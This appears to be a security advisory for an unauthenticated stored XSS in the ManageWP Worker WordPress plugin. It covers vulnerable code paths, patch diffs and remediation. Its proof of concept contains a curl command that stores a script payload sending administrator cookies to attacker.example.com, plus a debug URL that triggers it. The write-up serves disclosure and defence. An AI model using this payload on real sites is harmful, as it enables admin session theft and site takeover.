CVE-2026-3718: ManageWP Worker Unauthenticated Stored XSS (CVSS 7.2)
Table of Contents
CVE-2026-3718 is a CVSS 7.2 High Stored Cross-Site Scripting vulnerability in the ManageWP Worker WordPress plugin. An unauthenticated attacker can inject arbitrary JavaScript into the WordPress admin by sending a crafted HTTP header. The script executes whenever an administrator visits the plugin’s connection management page with a debug parameter.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | ManageWP Worker |
| Plugin Slug | worker |
| CVE ID | CVE-2026-3718 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 4.9.31 |
| Patched Version | 4.9.32 |
| Published | May 13, 2026 |
| Researcher | timomangcut |
| Wordfence Advisory | Link |
Description
The ManageWP Worker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the MWP-Key-Name HTTP request header in all versions up to and including 4.9.31. This is due to insufficient input sanitization and output escaping of attacker-controlled header values. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator visits the plugin’s connection management page with debug parameters.
Technical Analysis
How the Plugin Processes Requests
ManageWP Worker runs on the WordPress init hook at priority 99999. On every HTTP request, the plugin calls MWP_Worker_Request::createFromGlobals() and passes the result to MWP_Worker_Kernel::handleRequest().
The kernel checks if the incoming request is a “master request” — a POST request that carries the MWP-Action HTTP header. If it is, the kernel dispatches a MASTER_REQUEST event to all registered listeners.
One of those listeners is MWP_EventListener_MasterRequest_AuthenticateServiceRequest. It fires at priority 350, before any actual action is executed.
Source of the Vulnerability — Unsanitized Header Value Stored in DB
Inside AuthenticateServiceRequest::onMasterRequest(), the listener reads the MWP-Key-Name header and stores it raw into $keyName:
// src/MWP/EventListener/MasterRequest/AuthenticateServiceRequest.php
$keyName = $request->getKeyName(); // reads HTTP_MWP_KEY_NAME from $_SERVER — no sanitization
The request class resolves this header value directly from $_SERVER:
// src/MWP/Worker/Request.php : getHeader()
public function getHeader($header)
{
$header = 'HTTP_'.strtoupper(str_replace('-', '_', $header));
if (isset($this->server[$header])) {
return $this->server[$header]; // raw, unsanitized
}
return null;
}
The listener then checks whether a public key matching $keyName exists in the plugin’s configuration. Because the attacker supplies an arbitrary string that will never match a real key, the check fails. The error branch then concatenates $keyName directly into a string and saves it to the WordPress options table:
// src/MWP/EventListener/MasterRequest/AuthenticateServiceRequest.php : lines 67–72
$publicKey = $this->configuration->getLivePublicKey($keyName);
if (empty($publicKey)) {
$this->context->optionSet(
'mwp_last_communication_error',
'Could not find the appropriate communication key. Searched for: '.$keyName // XSS payload stored here
);
return;
}
optionSet calls WordPress’s update_option(). The raw XSS payload is now stored in the database under the option key mwp_last_communication_error.
Sink — Unsanitized Option Value Echoed in Admin Page
The stored value is rendered in the admin area by AddConnectionKeyInfo::printConnectionModalDialog(). This function is hooked to admin_footer and renders a connection management dialog on the Plugins page.
The dialog only shows its “debug section” when the mwp_force_key_refresh GET parameter is present. When that parameter is set, checkForKeyRefresh() returns a non-false value, and the template renders the last communication error without escaping:
// src/MWP/EventListener/PublicRequest/AddConnectionKeyInfo.php : line 417 (vulnerable version)
<?php echo 'Last communication error: '.$this->context->optionGet('mwp_last_communication_error', '') ?>
Any HTML or JavaScript in the stored option value executes in the administrator’s browser.
Why This Is Unauthenticated
No WordPress authentication is required to store the payload. The MASTER_REQUEST event fires for any POST request with the MWP-Action header — no session cookie, no nonce, and no is_user_logged_in() check is performed before AuthenticateServiceRequest::onMasterRequest() runs. The listener’s sole job is to attempt authentication; a failed attempt still stores the key name in the option.
Proof of Concept
Disclaimer: This PoC is provided for educational and authorized security testing only. Do not use it against systems you do not own or have explicit permission to test.
Prerequisites:
- ManageWP Worker plugin installed and active, version ≤ 4.9.31
- Target WordPress site at
https://target.example.com
Step 1 — Store the XSS payload (no login needed)
Send a POST request to the WordPress site with the MWP-Action header set to any value and the MWP-Key-Name header set to the payload:
curl -s -X POST "https://target.example.com/" \
-H "MWP-Action: get_state" \
-H "MWP-Key-Name: <script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>" \
-H "Content-Type: application/json" \
-d '{"params": {}}' \
-o /dev/null \
-w "%{http_code}\n"
A 200 response confirms the request was processed. The XSS payload is now stored in the mwp_last_communication_error WordPress option in the database.
Step 2 — Trigger execution (admin visits the debug URL)
Convince an administrator to visit:
https://target.example.com/wp-admin/plugins.php?worker_connections=1&mwp_force_key_refresh=1
Alternatively, if the attacker can trigger the admin to load any crafted page (via phishing), the payload executes in their authenticated session.
Step 3 — Verify execution
The script injected in Step 1 runs in the administrator’s browser. In the cookie-stealing example, the attacker’s server receives the session cookie, which can be used to take over the admin account.
Patch Analysis
The patch introduced in version 4.9.32 applies a dual defence strategy.
Fix 1 — Sanitize at the source (root cause fix)
In AuthenticateServiceRequest.php, sanitize_text_field() is now applied to $keyName before it is stored in the option:
$keyName = $request->getKeyName();
+ // Sanitize key name to prevent XSS when displayed in debug output
+ $sanitizedKeyName = sanitize_text_field($keyName);
if (empty($serviceSignature) || empty($keyName)) {
- $this->context->optionSet('mwp_last_communication_error', '... Key Name: '.$keyName.'...');
+ $this->context->optionSet('mwp_last_communication_error', '... Key Name: '.$sanitizedKeyName.'...');
sanitize_text_field() strips HTML tags and invalid UTF-8 characters, so a payload like <script>alert(1)</script> is reduced to alert(1) before it ever reaches the database.
Fix 2 — Escape at the output (defence in depth)
In AddConnectionKeyInfo.php, the rendering of the stored option value is now wrapped in esc_html():
- <?php echo 'Last communication error: '.$this->context->optionGet('mwp_last_communication_error', '') ?>
+ <?php echo 'Last communication error: '.esc_html($this->context->optionGet('mwp_last_communication_error', '')) ?>
Even if an unsanitized value somehow reached the option in the future, esc_html() would prevent it from being rendered as HTML.
The patch also adds esc_html() around the $refreshedKeys['message'] output and around the public keys JSON dump, and fixes a reflected XSS vector in the site ID column (esc_html($siteId) + urlencode($siteId) in the deactivation URL).
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Vulnerability publicly disclosed by Wordfence |
| May 13, 2026 | Version 4.9.32 released with the fix |
| May 14, 2026 | Advisory last updated |
Remediation
Update ManageWP Worker to version 4.9.32 or later immediately.
- Go to WordPress Admin → Plugins → Installed Plugins
- Find ManageWP Worker and click Update Now
- Confirm the version number shows 4.9.32 or higher
Alternatively, download the patched version directly from wordpress.org/plugins/worker.
If you cannot update immediately, consider temporarily deactivating the plugin or restricting access to wp-admin/plugins.php until the update can be applied.
References
- Wordfence Advisory — CVE-2026-3718
- CVE-2026-3718 at cve.org
- Patch changeset on WordPress Trac
- ManageWP Worker on wordpress.org
Frequently Asked Questions
What is CVE-2026-3718?
CVE-2026-3718 is a CVSS 7.2 High severity Stored Cross-Site Scripting vulnerability in the ManageWP Worker WordPress plugin. An unauthenticated attacker can inject malicious scripts that execute in the browser of any administrator who visits the plugin's connection management page.
Which versions of ManageWP Worker are affected by CVE-2026-3718?
All versions up to and including 4.9.31 are affected. Version 4.9.32 contains the fix.
What can an attacker do with CVE-2026-3718?
An attacker can store a malicious JavaScript payload on the target site without any login. When an administrator opens the plugin's connection management page with debug parameters, the script executes in their browser and can steal session cookies, create rogue admin accounts, or perform any action the administrator can perform.
Does an attacker need to be logged in to exploit CVE-2026-3718?
No. Any visitor can send the malicious HTTP request to store the payload. No WordPress account is required for the injection step.
How do I fix CVE-2026-3718 in ManageWP Worker?
Update ManageWP Worker to version 4.9.32 or later from the WordPress admin dashboard or wordpress.org.
Has ManageWP Worker been patched for CVE-2026-3718?
Yes. Version 4.9.32 was released on May 13, 2026 and resolves this vulnerability with input sanitization at the source and output escaping at the display layer.